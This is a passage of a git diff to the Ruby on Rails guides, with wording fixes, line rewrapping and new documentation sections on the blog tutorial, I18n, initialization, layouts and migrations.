+delete posts or delete comments. -Rails provides a very simple HTTP authentication system that will work nicely in this situation. +Rails provides a very simple HTTP authentication system that will work nicely in +this situation. -In the +PostsController+ we need to have a way to block access to the various actions if the person is not authenticated, here we can use the Rails <tt>http_basic_authenticate_with</tt> method, allowing access to the requested action if that method allows it. +In the +PostsController+ we need to have a way to block access to the various +actions if the person is not authenticated, here we can use the Rails +<tt>http_basic_authenticate_with</tt> method, allowing access to the requested +action if that method allows it. -To use the authentication system, we specify it at the top of our +PostsController+, in this case, we want the user to be authenticated on every action, except for +index+ and +show+, so we write that: +To use the authentication system, we specify it at the top of our ++PostsController+, in this case, we want the user to be authenticated on every +action, except for +index+ and +show+, so we write that: <ruby> class PostsController < ApplicationController - http_basic_authenticate_with :name => "dhh", :password => "secret", :except => :index + http_basic_authenticate_with :name => "dhh", :password => "secret", :except => [:index, :show] # GET /posts # GET /posts.json @@ -1247,7 +1619,8 @@ class PostsController < ApplicationController # snipped for brevity </ruby> -We also only want to allow authenticated users to delete comments, so in the +CommentsController+ we write: +We also only want to allow authenticated users to delete comments, so in the ++CommentsController+ we write: <ruby> class CommentsController < ApplicationController @@ -1259,16 +1632,20 @@ class CommentsController < ApplicationController # snipped for brevity </ruby> -Now if you try to create a new post, you will be greeted with a basic HTTP Authentication challenge +Now if you try to create a new post, you will be greeted with a basic HTTP +Authentication challenge !images/challenge.png(Basic HTTP Authentication Challenge)! - h3. Building a Multi-Model Form -Another feature of your average blog is the ability to tag posts. To implement this feature your application needs to interact with more than one model on a single form. Rails offers support for nested forms. +Another feature of your average blog is the ability to tag posts. To implement +this feature your application needs to interact with more than one model on a +single form. Rails offers support for nested forms. -To demonstrate this, we will add support for giving each post multiple tags, right in the form where you create the post. First, create a new model to hold the tags: +To demonstrate this, we will add support for giving each post multiple tags, +right in the form where you create the post. First, create a new model to hold +the tags: <shell> $ rails generate model tag name:string post:references @@ -1280,7 +1657,9 @@ Again, run the migration to create the database table: $ rake db:migrate </shell> -Next, edit the +post.rb+ file to create the other side of the association, and to tell Rails (via the +accepts_nested_attributes_for+ macro) that you intend to edit tags via posts: +Next, edit the +post.rb+ file to create the other side of the association, and +to tell Rails (via the +accepts_nested_attributes_for+ macro) that you intend to +edit tags via posts: <ruby> class Post < ActiveRecord::Base @@ -1296,7 +1675,10 @@ class Post < ActiveRecord::Base end </ruby> -The +:allow_destroy+ option on the nested attribute declaration tells Rails to display a "remove" checkbox on the view that you'll build shortly. The +:reject_if+ option prevents saving new tags that do not have any attributes filled in. +The +:allow_destroy+ option on the nested attribute declaration tells Rails to +display a "remove" checkbox on the view that you'll build shortly. The ++:reject_if+ option prevents saving new tags that do not have any attributes +filled in. We will modify +views/posts/_form.html.erb+ to render a partial to make a tag: @@ -1335,13 +1717,20 @@ We will modify +views/posts/_form.html.erb+ to render a partial to make a tag: <% end %> </erb> -Note that we have changed the +f+ in +form_for(@post) do |f|+ to +post_form+ to make it easier to understand what is going on. +Note that we have changed the +f+ in +form_for(@post) do |f|+ to +post_form+ to +make it easier to understand what is going on. -This example shows another option of the render helper, being able to pass in local variables, in this case, we want the local variable +form+ in the partial to refer to the +post_form+ object. +This example shows another option of the render helper, being able to pass in +local variables, in this case, we want the local variable +form+ in the partial +to refer to the +post_form+ object. -We also add a <tt>@post.tags.build</tt> at the top of this form, this is to make sure there is a new tag ready to have it's name filled in by the user. If you do not build the new tag, then the form will not appear as there is no new Tag object ready to create. +We also add a <tt>@post.tags.build</tt> at the top of this form. This is to make +sure there is a new tag ready to have its name filled in by the user. If you do +not build the new tag, then the form will not appear as there is no new Tag +object ready to create. -Now create the folder <tt>app/views/tags</tt> and make a file in there called <tt>_form.html.erb</tt> which contains the form for the tag: +Now create the folder <tt>app/views/tags</tt> and make a file in there called +<tt>_form.html.erb</tt> which contains the form for the tag: <erb> <%= form.fields_for :tags do |tag_form| %> @@ -1358,7 +1747,8 @@ Now create the folder <tt>app/views/tags</tt> and make a file in there called <t <% end %> </erb> -Finally, we will edit the <tt>app/views/posts/show.html.erb</tt> template to show our tags. +Finally, we will edit the <tt>app/views/posts/show.html.erb</tt> template to +show our tags. <erb> <p class="notice"><%= notice %></p> @@ -1394,13 +1784,18 @@ Finally, we will edit the <tt>app/views/posts/show.html.erb</tt> template to sho <%= link_to 'Back to Posts', posts_path %> | </erb> -With these changes in place, you'll find that you can edit a post and its tags directly on the same view. +With these changes in place, you'll find that you can edit a post and its tags +directly on the same view. -However, that method call <tt>@post.tags.map { |t| t.name }.join(", ")</tt> is awkward, we could handle this by making a helper method. +However, that method call <tt>@post.tags.map { |t| t.name }.join(", ")</tt> is +awkward, we could handle this by making a helper method. h3. View Helpers -View Helpers live in <tt>app/helpers</tt> and provide small snippets of reusable code for views. In our case, we want a method that strings a bunch of objects together using their name attribute and joining them with a comma. As this is for the Post show template, we put it in the PostsHelper. +View Helpers live in <tt>app/helpers</tt> and provide small snippets of reusable +code for views. In our case, we want a method that strings a bunch of objects +together using their name attribute and joining them with a comma. As this is +for the Post show template, we put it in the PostsHelper. Open up <tt>app/helpers/posts_helper.rb</tt> and add the following: @@ -1412,7 +1807,8 @@ module PostsHelper end </erb> -Now you can edit the view in <tt>app/views/posts/show.html.erb</tt> to look like this: +Now you can edit the view in <tt>app/views/posts/show.html.erb</tt> to look like +this: <erb> <p class="notice"><%= notice %></p> @@ -1450,7 +1846,10 @@ Now you can edit the view in <tt>app/views/posts/show.html.erb</tt> to look like h3. What's Next? -Now that you've seen your first Rails application, you should feel free to update it and experiment on your own. But you don't have to do everything without help. As you need assistance getting up and running with Rails, feel free to consult these support resources: +Now that you've seen your first Rails application, you should feel free to +update it and experiment on your own. But you don't have to do everything +without help. As you need assistance getting up and running with Rails, feel +free to consult these support resources: * The "Ruby on Rails guides":index.html * The "Ruby on Rails Tutorial":http://railstutorial.org/book @@ -1465,9 +1864,18 @@ Rails also comes with built-in help that you can generate using the rake command h3. Configuration Gotchas -The easiest way to work with Rails is to store all external data as UTF-8. If you don't, Ruby libraries and Rails will often be able to convert your native data into UTF-8, but this doesn't always work reliably, so you're better off ensuring that all external data is UTF-8. +The easiest way to work with Rails is to store all external data as UTF-8. If +you don't, Ruby libraries and Rails will often be able to convert your native +data into UTF-8, but this doesn't always work reliably, so you're better off +ensuring that all external data is UTF-8. -If you have made a mistake in this area, the most common symptom is a black diamond with a question mark inside appearing in the browser. Another common symptom is characters like "ü" appearing instead of "ü". Rails takes a number of internal steps to mitigate common causes of these problems that can be automatically detected and corrected. However, if you have external data that is not stored as UTF-8, it can occasionally result in these kinds of issues that cannot be automatically detected by Rails and corrected. +If you have made a mistake in this area, the most common symptom is a black +diamond with a question mark inside appearing in the browser. Another common +symptom is characters like "ü" appearing instead of "ü". Rails takes a number +of internal steps to mitigate common causes of these problems that can be +automatically detected and corrected. However, if you have external data that is +not stored as UTF-8, it can occasionally result in these kinds of issues that +cannot be automatically detected by Rails and corrected. Two very common sources of data that are not UTF-8: * Your text editor: Most text editors (such as Textmate), default to saving files as @@ -1482,24 +1890,3 @@ Two very common sources of data that are not UTF-8: is using Latin-1 internally, and your user enters a Russian, Hebrew, or Japanese character, the data will be lost forever once it enters the database. If possible, use UTF-8 as the internal storage of your database. - -h3. Changelog - -* April 26, 2011: Change migration code from +up+, +down+ pair to +change+ method by "Prem Sichanugrist":http://sikachu.com -* April 11, 2011: Change scaffold_controller generator to create format block for JSON instead of XML by "Sebastian Martinez":http://www.wyeworks.com -* August 30, 2010: Minor editing after Rails 3 release by "Joost Baaij":http://www.spacebabies.nl -* July 12, 2010: Fixes, editing and updating of code samples by "Jaime Iniesta":http://jaimeiniesta.com -* May 16, 2010: Added a section on configuration gotchas to address common encoding problems that people might have by "Yehuda Katz":http://www.yehudakatz.com -* April 30, 2010: Fixes, editing and updating of code samples by "Rohit Arondekar":http://rohitarondekar.com -* April 25, 2010: Couple of more minor fixups by "Mikel Lindsaar":credits.html#raasdnil -* April 1, 2010: Fixed document to validate XHTML 1.0 Strict by "Jaime Iniesta":http://jaimeiniesta.com -* February 8, 2010: Full re-write for Rails 3.0-beta, added helpers and before_filters, refactored code by "Mikel Lindsaar":credits.html#raasdnil -* January 24, 2010: Re-write for Rails 3.0 by "Mikel Lindsaar":credits.html#raasdnil -* July 18, 2009: Minor cleanup in anticipation of Rails 2.3.3 by "Mike Gunderloy":credits.html#mgunderloy -* February 1, 2009: Updated for Rails 2.3 by "Mike Gunderloy":credits.html#mgunderloy -* November 3, 2008: Formatting patch from Dave Rothlisberger -* November 1, 2008: First approved version by "Mike Gunderloy":credits.html#mgunderloy -* October 16, 2008: Revised based on feedback from Pratik Naik by "Mike Gunderloy":credits.html#mgunderloy (not yet approved for publication) -* October 13, 2008: First complete draft by "Mike Gunderloy":credits.html#mgunderloy (not yet approved for publication) -* October 12, 2008: More detail, rearrangement, editing by "Mike Gunderloy":credits.html#mgunderloy (not yet approved for publication) -* September 8, 2008: initial version by "James Miller":credits.html#bensie (not yet approved for publication) diff --git a/railties/guides/source/i18n.textile b/railties/guides/source/i18n.textile index 0c8e4e974d..2d4cc13571 100644 --- a/railties/guides/source/i18n.textile +++ b/railties/guides/source/i18n.textile @@ -1,4 +1,4 @@ -lh2. Rails Internationalization (I18n) API +h2. Rails Internationalization (I18n) API The Ruby I18n (shorthand for _internationalization_) gem which is shipped with Ruby on Rails (starting from Rails 2.2) provides an easy-to-use and extensible framework for *translating your application to a single custom language* other than English or for *providing multi-language support* in your application. @@ -8,15 +8,15 @@ So, in the process of _internationalizing_ your Rails application you have to: * Ensure you have support for i18n * Tell Rails where to find locale dictionaries -* Tell Rails how to set, preserve and switch locale +* Tell Rails how to set, preserve and switch locales In the process of _localizing_ your application you'll probably want to do the following three things: -* Replace or supplement Rails' default locale -- e.g. date and time formats, month names, Active Record model names, etc +* Replace or supplement Rails' default locale -- e.g. date and time formats, month names, Active Record model names, etc. * Abstract strings in your application into keyed dictionaries -- e.g. flash messages, static text in your views, etc. * Store the resulting dictionaries somewhere -This guide will walk you through the I18n API and contains a tutorial how to internationalize a Rails application from the start. +This guide will walk you through the I18n API and contains a tutorial on how to internationalize a Rails application from the start. endprologue. @@ -91,7 +91,7 @@ This means, that in the +:en+ locale, the key _hello_ will map to the _Hello wor The I18n library will use *English* as a *default locale*, i.e. if you don't set a different locale, +:en+ will be used for looking up translations. -NOTE: The i18n library takes a *pragmatic approach* to locale keys (after "some discussion":http://groups.google.com/group/rails-i18n/browse_thread/thread/14dede2c7dbe9470/80eec34395f64f3c?hl=en), including only the _locale_ ("language") part, like +:en+, +:pl+, not the _region_ part, like +:en-US+ or +:en-UK+, which are traditionally used for separating "languages" and "regional setting" or "dialects". Many international applications use only the "language" element of a locale such as +:cz+, +:th+ or +:es+ (for Czech, Thai and Spanish). However, there are also regional differences within different language groups that may be important. For instance, in the +:en-US+ locale you would have $ as a currency symbol, while in +:en-UK+, you would have £. Nothing stops you from separating regional and other settings in this way: you just have to provide full "English - United Kingdom" locale in a +:en-UK+ dictionary. Various "Rails I18n plugins":http://rails-i18n.org/wiki such as "Globalize2":https://github.com/joshmh/globalize2/tree/master may help you implement it. +NOTE: The i18n library takes a *pragmatic approach* to locale keys (after "some discussion":http://groups.google.com/group/rails-i18n/browse_thread/thread/14dede2c7dbe9470/80eec34395f64f3c?hl=en), including only the _locale_ ("language") part, like +:en+, +:pl+, not the _region_ part, like +:en-US+ or +:en-GB+, which are traditionally used for separating "languages" and "regional setting" or "dialects". Many international applications use only the "language" element of a locale such as +:cs+, +:th+ or +:es+ (for Czech, Thai and Spanish). However, there are also regional differences within different language groups that may be important. For instance, in the +:en-US+ locale you would have $ as a currency symbol, while in +:en-GB+, you would have £. Nothing stops you from separating regional and other settings in this way: you just have to provide full "English - United Kingdom" locale in a +:en-GB+ dictionary. Various "Rails I18n plugins":http://rails-i18n.org/wiki such as "Globalize2":https://github.com/joshmh/globalize2/tree/master may help you implement it. The *translations load path* (+I18n.load_path+) is just a Ruby Array of paths to your translation files that will be loaded automatically and available in your application. You can pick whatever directory and translation file naming scheme makes sense for you. @@ -365,6 +365,19 @@ NOTE: You need to restart the server when you add new locale files. You may use YAML (+.yml+) or plain Ruby (+.rb+) files for storing your translations in SimpleStore. YAML is the preferred option among Rails developers. However, it has one big disadvantage. YAML is very sensitive to whitespace and special characters, so the application may not load your dictionary properly. Ruby files will crash your application on first request, so you may easily find what's wrong. (If you encounter any "weird issues" with YAML dictionaries, try putting the relevant portion of your dictionary into a Ruby file.) +h4. Passing variables to translations + +You can use variables in the translation messages and pass their values from the view. + +<ruby> +# app/views/home/index.html.erb +<%=t 'greet_username', :user => "Bill", :message => "Goodbye" %> + +# config/locales/en.yml +en: + greet_username: "%{message}, %{user}!" +</ruby> + h4. Adding Date/Time Formats OK! Now let's add a timestamp to the view, so we can demo the *date/time localization* feature as well. To localize the time format you pass the Time object to +I18n.l+ or (preferably) use Rails' +#l+ helper. You can pick a format by passing the +:format+ option -- by default the +:default+ format is used. @@ -448,6 +461,7 @@ Covered are features like these: * looking up translations * interpolating data into translations * pluralizing translations +* using safe HTML translations * localizing dates, numbers, currency, etc. h4. Looking up Translations @@ -599,6 +613,27 @@ The +I18n.locale+ defaults to +I18n.default_locale+ which defaults to :+en+. The I18n.default_locale = :de </ruby> +h4. Using Safe HTML Translations + +Keys with a '_html' suffix and keys named 'html' are marked as HTML safe. Use them in views without escaping. + +<ruby> +# config/locales/en.yml +en: + welcome: <b>welcome!</b> + hello_html: <b>hello!</b> + title: + html: <b>title!</b> + +# app/views/home/index.html.erb +<div><%= t('welcome') %></div> +<div><%= raw t('welcome') %></div> +<div><%= t('hello_html') %></div> +<div><%= t('title.html') %></div> +</ruby> + +!images/i18n/demo_html_safe.png(i18n demo html safe)! + h3. How to Store your Custom Translations The Simple backend shipped with Active Support allows you to store translations in both plain Ruby and YAML format. [2] @@ -796,7 +831,6 @@ h5. Active Support Methods * +Array#to_sentence+ uses format settings as given in the "support.array":https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L30 scope. - h3. Customize your I18n Setup h4. Using Different Backends diff --git a/railties/guides/source/index.html.erb b/railties/guides/source/index.html.erb index b48488d8a2..c9a8c4fa5c 100644 --- a/railties/guides/source/index.html.erb +++ b/railties/guides/source/index.html.erb @@ -30,7 +30,6 @@ Ruby on Rails Guides <% content_for :index_section do %> <div id="subCol"> <dl> - <dd class="warning">Rails Guides are a result of the ongoing <a href="http://hackfest.rubyonrails.org">Guides hackfest</a>, and a work in progress.</dd> <dd class="work-in-progress">Guides marked with this icon are currently being worked on. While they might still be useful to you, they may contain incomplete information and even errors. You can help by reviewing them and posting your comments and corrections to the author.</dd> </dl> </div> @@ -124,13 +123,17 @@ Ruby on Rails Guides <p>This guide covers the basic configuration settings for a Rails application.</p> <% end %> -<%= guide("Rails Command Line Tools and Rake tasks", 'command_line.html', :work_in_progress => true) do %> +<%= guide("Rails Command Line Tools and Rake tasks", 'command_line.html') do %> <p>This guide covers the command line tools and rake tasks provided by Rails.</p> <% end %> <%= guide("Caching with Rails", 'caching_with_rails.html', :work_in_progress => true) do %> <p>Various caching techniques provided by Rails.</p> <% end %> + +<%= guide('Asset Pipeline', 'asset_pipeline.html') do %> + <p>This guide documents the asset pipeline.</p> +<% end %> </dl> <h3>Extending Rails</h3> @@ -170,6 +173,10 @@ Ruby on Rails Guides <h3>Release Notes</h3> <dl> +<%= guide("Ruby on Rails 3.1 Release Notes", '3_1_release_notes.html') do %> + <p>Release notes for Rails 3.1.</p> +<% end %> + <%= guide("Ruby on Rails 3.0 Release Notes", '3_0_release_notes.html') do %> <p>Release notes for Rails 3.0.</p> <% end %> diff --git a/railties/guides/source/initialization.textile b/railties/guides/source/initialization.textile index 340699419b..32b41fdd2c 100644 --- a/railties/guides/source/initialization.textile +++ b/railties/guides/source/initialization.textile @@ -1,6 +1,6 @@ h2. The Rails Initialization Process -This guide explains the internals of the initialization process in Rails works as of Rails 3.1. It is an extremely in-depth guide and recommended for advanced Rails developers. +This guide explains the internals of the initialization process in Rails as of Rails 3.1. It is an extremely in-depth guide and recommended for advanced Rails developers. * Using +rails server+ * Using Passenger @@ -33,7 +33,7 @@ end This file will attempt to load +rails/cli+ and if it cannot find it then add the +railties/lib+ path to the load path (+$:+) and will then try to require it again. -h4. +railites/lib/rails/cli.rb+ +h4. +railties/lib/rails/cli.rb+ This file looks like this: @@ -71,7 +71,7 @@ module Rails end </ruby> -The +rails/script_rails_loader+ file uses +RbConfig::Config+ to gather up the +bin_dir+ and +ruby_install_name+ values for the configuration which will result in a path such as +/System/Library/Frameworks/Ruby.framework/Versions/1.8/usr/bin/ruby+, which is the default path on Mac OS X. If you're running Windows the path may be something such as +C:/Ruby192/bin/ruby+. Anyway, the path on your system may be different, but the point of this is that it will point at the known ruby executable location for your install. The +RbConfig::CONFIG["EXEEXT"]+ will suffix this path with ".exe" if the script is running on Windows. This constant is used later on in +exec_script_rails!+. As for the +SCRIPT_RAILS+ console, we'll see that when we get to the +in_rails_application?+ method. +The +rails/script_rails_loader+ file uses +RbConfig::Config+ to gather up the +bin_dir+ and +ruby_install_name+ values for the configuration which will result in a path such as +/System/Library/Frameworks/Ruby.framework/Versions/1.8/usr/bin/ruby+, which is the default path on Mac OS X. If you're running Windows the path may be something such as +C:/Ruby192/bin/ruby+. Anyway, the path on your system may be different, but the point of this is that it will point at the known ruby executable location for your install. The +RbConfig::CONFIG["EXEEXT"]+ will suffix this path with ".exe" if the script is running on Windows. This constant is used later on in +exec_script_rails!+. As for the +SCRIPT_RAILS+ constant, we'll see that when we get to the +in_rails_application?+ method. Back in +rails/cli+, the next line is this: @@ -190,7 +190,8 @@ aliases = { "g" => "generate", "c" => "console", "s" => "server", - "db" => "dbconsole" + "db" => "dbconsole", + "r" => "runner" } command = ARGV.shift @@ -348,10 +349,10 @@ The class *is* defined in +Rack::Server+, but is overwritten in +Rails::Server+ def parse!(args) args, options = args.dup, {} - opt_parser = OptionParser.new do |opts| - opts.banner = "Usage: rails server [mongrel, thin, etc] [options]" - opts.on("-p", "--port=port", Integer, - "Runs Rails on the specified port.", "Default: 3000") { |v| options[:Port] = v } + opt_parser = OptionParser.new do |opts| + opts.banner = "Usage: rails server [mongrel, thin, etc] [options]" + opts.on("-p", "--port=port", Integer, + "Runs Rails on the specified port.", "Default: 3000") { |v| options[:Port] = v } ... </ruby> @@ -449,11 +450,11 @@ run YourApp::Application The +Rack::Builder.parse_file+ method here takes the content from this +config.ru+ file and parses it using this code: <ruby> -app = eval "Rack::Builder.new {( " + cfgfile + "\n )}.to_app", +app = eval "Rack::Builder.new {( " <plus> cfgfile <plus> "\n )}.to_app", TOPLEVEL_BINDING, config </ruby> -The <ruby>initialize</ruby> method will take the block here and execute it within an instance of +Rack::Builder+. This is where the majority of the initialization process of Rails happens. The chain of events that this simple line sets off will be the focus of a large majority of this guide. The +require+ line for +config/environment.rb+ in +config.ru+ is the first to run: +The +initialize+ method will take the block here and execute it within an instance of +Rack::Builder+. This is where the majority of the initialization process of Rails happens. The chain of events that this simple line sets off will be the focus of a large majority of this guide. The +require+ line for +config/environment.rb+ in +config.ru+ is the first to run: <ruby> require ::File.expand_path('../config/environment', __FILE__) @@ -512,7 +513,7 @@ h4. +railties/lib/rails/ruby_version_check.rb+ This file simply checks if the Ruby version is less than 1.8.7 or is 1.9.1 and raises an error if that is the case. Rails 3 simply will not run on earlier versions of Ruby than 1.8.7 or 1.9.1. -NOTE: You should always endeavour to run the latest version of Ruby with your Rails applications. The benefits are many, including security fixes and the like, and very often there is a speed increase associated with it. The caveat is that you could have code that potentially breaks on the latest version, which should be fixed to work on the latest version rather than kept around as an excuse not to upgrade. +NOTE: You should always endeavor to run the latest version of Ruby with your Rails applications. The benefits are many, including security fixes and the like, and very often there is a speed increase associated with it. The caveat is that you could have code that potentially breaks on the latest version, which should be fixed to work on the latest version rather than kept around as an excuse not to upgrade. h4. +active_support/core_ext/kernel/reporting.rb+ @@ -760,7 +761,6 @@ def subclasses end </ruby> - The +config+ method used at the top of +I18n::Railtie+ is defined on +Rails::Railtie+ and is defined like this: <ruby> @@ -847,7 +847,7 @@ The +Collection+ class in +railties/lib/rails/initializable.rb+ inherits from +A The +initializers_chain+ method referenced in the +initializers_for+ method is defined like this: -<rub> +<ruby> def initializers_chain initializers = Collection.new ancestors.reverse_each do | klass | diff --git a/railties/guides/source/layout.html.erb b/railties/guides/source/layout.html.erb index 5dcac8e74c..4c979888b7 100644 --- a/railties/guides/source/layout.html.erb +++ b/railties/guides/source/layout.html.erb @@ -5,7 +5,7 @@ <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/> -<title><%= yield(:page_title) || 'Ruby on Rails guides' %></title> +<title><%= yield(:page_title) || 'Ruby on Rails Guides' %></title> <link rel="stylesheet" type="text/css" href="stylesheets/style.css" /> <link rel="stylesheet" type="text/css" href="stylesheets/print.css" media="print" /> @@ -71,6 +71,7 @@ <dd><a href="configuring.html">Configuring Rails Applications</a></dd> <dd><a href="command_line.html">Rails Command Line Tools and Rake Tasks</a></dd> <dd><a href="caching_with_rails.html">Caching with Rails</a></dd> + <dd><a href="asset_pipeline.html">Asset Pipeline</a></dd> <dt>Extending Rails</dt> <dd><a href="plugins.html">The Basics of Creating Rails Plugins</a></dd> @@ -83,13 +84,14 @@ <dd><a href="ruby_on_rails_guides_guidelines.html">Ruby on Rails Guides Guidelines</a></dd> <dt>Release Notes</dt> + <dd><a href="3_1_release_notes.html">Ruby on Rails 3.1 Release Notes</a></dd> <dd><a href="3_0_release_notes.html">Ruby on Rails 3.0 Release Notes</a></dd> <dd><a href="2_3_release_notes.html">Ruby on Rails 2.3 Release Notes</a></dd> <dd><a href="2_2_release_notes.html">Ruby on Rails 2.2 Release Notes</a></dd> </dl> </div> </li> - <li><a href="contribute.html">Contribute</a></li> + <li><a href="contributing_to_ruby_on_rails.html">Contribute</a></li> <li><a href="credits.html">Credits</a></li> </ul> </div> @@ -127,6 +129,10 @@ <%= link_to 'Ruby on Rails Guides Guidelines', 'ruby_on_rails_guides_guidelines.html' %> for style and conventions. </p> + <p> + If for whatever reason you spot something to fix but cannot patch it yourself, please + <%= link_to 'open an issue', 'https://github.com/rails/rails/issues' %>. + </p> <p>And last but not least, any kind of discussion regarding Ruby on Rails documentation is very welcome in the <%= link_to 'rubyonrails-docs mailing list', 'http://groups.google.com/group/rubyonrails-docs' %>. </p> diff --git a/railties/guides/source/layouts_and_rendering.textile b/railties/guides/source/layouts_and_rendering.textile index ba45b84242..69ef05104c 100644 --- a/railties/guides/source/layouts_and_rendering.textile +++ b/railties/guides/source/layouts_and_rendering.textile @@ -90,11 +90,11 @@ If we want to display the properties of all the books in our view, we can do so <%= link_to 'New book', new_book_path %> </ruby> -NOTE: The actual rendering is done by subclasses of +ActionView::TemplateHandlers+. This guide does not dig into that process, but it's important to know that the file extension on your view controls the choice of template handler. In Rails 2, the standard extensions are +.erb+ for ERB (HTML with embedded Ruby), and +.builder+ for Builder (XML generator). +NOTE: The actual rendering is done by subclasses of +ActionView::TemplateHandlers+. This guide does not dig into that process, but it's important to know that the file extension on your view controls the choice of template handler. Beginning with Rails 2, the standard extensions are +.erb+ for ERB (HTML with embedded Ruby), and +.builder+ for Builder (XML generator). h4. Using +render+ -In most cases, the +ActionController::Base#render+ method does the heavy lifting of rendering your application's content for use by a browser. There are a variety of ways to customise the behaviour of +render+. You can render the default view for a Rails template, or a specific template, or a file, or inline code, or nothing at all. You can render text, JSON, or XML. You can specify the content type or HTTP status of the rendered response as well. +In most cases, the +ActionController::Base#render+ method does the heavy lifting of rendering your application's content for use by a browser. There are a variety of ways to customize the behaviour of +render+. You can render the default view for a Rails template, or a specific template, or a file, or inline code, or nothing at all. You can render text, JSON, or XML. You can specify the content type or HTTP status of the rendered response as well. TIP: If you want to see the exact results of a call to +render+ without needing to inspect it in a browser, you can call +render_to_string+. This method takes exactly the same options as +render+, but it returns a string instead of sending a response back to the browser. @@ -515,7 +515,7 @@ h4. Using +redirect_to+ Another way to handle returning responses to an HTTP request is with +redirect_to+. As you've seen, +render+ tells Rails which view (or other asset) to use in constructing a response. The +redirect_to+ method does something completely different: it tells the browser to send a new request for a different URL. For example, you could redirect from wherever you are in your code to the index of photos in your application with this call: <ruby> -redirect_to photos_path +redirect_to photos_url </ruby> You can use +redirect_to+ with any arguments that you could use with +link_to+ or +url_for+. In addition, there's a special redirect that sends the user back to the page they just came from: @@ -1093,6 +1093,13 @@ In Rails 3.0, there is also a shorthand for this. Assuming +@products+ is a coll Rails determines the name of the partial to use by looking at the model name in the collection. In fact, you can even create a heterogeneous collection and render it this way, and Rails will choose the proper partial for each member of the collection: +In the event that the collection is empty, +render+ will return nil, so it should be fairly simple to provide alternative content. + +<erb> +<h1>Products</h1> +<%= render(@products) || 'There are no products available.' %> +</erb> + * +index.html.erb+ <erb> @@ -1179,23 +1186,11 @@ On pages generated by +NewsController+, you want to hide the top menu and add a <% end %> <% content_for :content do %> <div id="right_menu">Right menu items here</div> - <%= yield(:news_content) or yield %> + <%= content_for?(:news_content) ? yield(:news_content) : yield %> <% end %> <%= render :template => 'layouts/application' %> </erb> That's it. The News views will use the new layout, hiding the top menu and adding a new right menu inside the "content" div. -There are several ways of getting similar results with different sub-templating schemes using this technique. Note that there is no limit in nesting levels. One can use the +ActionView::render+ method via +render :template => 'layouts/news'+ to base a new layout on the News layout. If you are sure you will not subtemplate the +News+ layout, you can replace the +yield(:news_content) or yield+ with simply +yield+. - -h3. Changelog - -* April 4, 2010: Fixed document to validate XHTML 1.0 Strict. "Jaime Iniesta":http://jaimeiniesta.com -* January 25, 2010: Rails 3.0 Update by "Mikel Lindsaar":credits.html#raasdnil -* December 27, 2008: Merge patch from Rodrigo Rosenfeld Rosas covering subtemplates -* December 27, 2008: Information on new rendering defaults by "Mike Gunderloy":credits.html#mgunderloy -* November 9, 2008: Added partial collection counter by "Mike Gunderloy":credits.html#mgunderloy -* November 1, 2008: Added +:js+ option for +render+ by "Mike Gunderloy":credits.html#mgunderloy -* October 16, 2008: Ready for publication by "Mike Gunderloy":credits.html#mgunderloy -* October 4, 2008: Additional info on partials (+:object+, +:as+, and +:spacer_template+) by "Mike Gunderloy":credits.html#mgunderloy (not yet approved for publication) -* September 28, 2008: First draft by "Mike Gunderloy":credits.html#mgunderloy (not yet approved for publication) +There are several ways of getting similar results with different sub-templating schemes using this technique. Note that there is no limit in nesting levels. One can use the +ActionView::render+ method via +render :template => 'layouts/news'+ to base a new layout on the News layout. If you are sure you will not subtemplate the +News+ layout, you can replace the +content_for?(:news_content) ? yield(:news_content) : yield+ with simply +yield+. diff --git a/railties/guides/source/migrations.textile b/railties/guides/source/migrations.textile index c88e3cc338..23e36b39f9 100644 --- a/railties/guides/source/migrations.textile +++ b/railties/guides/source/migrations.textile @@ -91,13 +91,13 @@ Active Record provides methods that perform common data definition tasks in a da * +add_index+ * +remove_index+ -If you need to perform tasks specific to your database (for example create a "foreign key":#active-record-and-referential-integrity constraint) then the +execute+ function allows you to execute arbitrary SQL. A migration is just a regular Ruby class so you're not limited to these functions. For example after adding a column you could write code to set the value of that column for existing records (if necessary using your models). +If you need to perform tasks specific to your database (for example create a "foreign key":#active-record-and-referential-integrity constraint) then the +execute+ method allows you to execute arbitrary SQL. A migration is just a regular Ruby class so you're not limited to these functions. For example after adding a column you could write code to set the value of that column for existing records (if necessary using your models). On databases that support transactions with statements that change the schema (such as PostgreSQL or SQLite3), migrations are wrapped in a transaction. If the database does not support this (for example MySQL) then when a migration fails the parts of it that succeeded will not be rolled back. You will have to unpick the changes that were made by hand. h4. What's in a Name -Migrations are stored in files in +db/migrate+, one for each migration class. The name of the file is of the form +YYYYMMDDHHMMSS_create_products.rb+, that is to say a UTC timestamp identifying the migration followed by an underscore followed by the name of the migration. The name of the migration class (CamelCased version) should match the latter part of the file name. For example +20080906120000_create_products.rb+ should define +CreateProducts+ and +20080906120001_add_details_to_products.rb+ should define +AddDetailsToProducts+. If you do feel the need to change the file name then you <em>have to</em> update the name of the class inside or Rails will complain about a missing class. +Migrations are stored in files in +db/migrate+, one for each migration class. The name of the file is of the form +YYYYMMDDHHMMSS_create_products.rb+, that is to say a UTC timestamp identifying the migration followed by an underscore followed by the name of the migration. The name of the migration class (CamelCased version) should match the latter part of the file name. For example +20080906120000_create_products.rb+ should define class +CreateProducts+ and +20080906120001_add_details_to_products.rb+ should define +AddDetailsToProducts+. If you do feel the need to change the file name then you <em>have to</em> update the name of the class inside or Rails will complain about a missing class. Internally Rails only uses the migration's number (the timestamp) to identify them. Prior to Rails 2.1 the migration number started at 1 and was incremented each time a migration was generated. With multiple developers it was easy for these to clash requiring you to rollback migrations and renumber them. With Rails 2.1 this is largely avoided by using the creation time of the migration to identify them. You can revert to the old numbering scheme by adding the following line to +config/application.rb+. @@ -115,7 +115,7 @@ h4. Changing Migrations Occasionally you will make a mistake when writing a migration. If you have already run the migration then you cannot just edit the migration and run the migration again: Rails thinks it has already run the migration and so will do nothing when you run +rake db:migrate+. You must rollback the migration (for example with +rake db:rollback+), edit your migration and then run +rake db:migrate+ to run the corrected version. -In general editing existing migrations is not a good idea: you will be creating extra work for yourself and your co-workers and cause major headaches if the existing version of the migration has already been run on production machines. Instead you should write a new migration that performs the changes you require. Editing a freshly generated migration that has not yet been committed to source control (or more generally which has not been propagated beyond your development machine) is relatively harmless. +In general editing existing migrations is not a good idea: you will be creating extra work for yourself and your co-workers and cause major headaches if the existing version of the migration has already been run on production machines. Instead, you should write a new migration that performs the changes you require. Editing a freshly generated migration that has not yet been committed to source control (or, more generally, which has not been propagated beyond your development machine) is relatively harmless. h4. Supported Types @@ -134,7 +134,7 @@ Active Record supports the following types: * 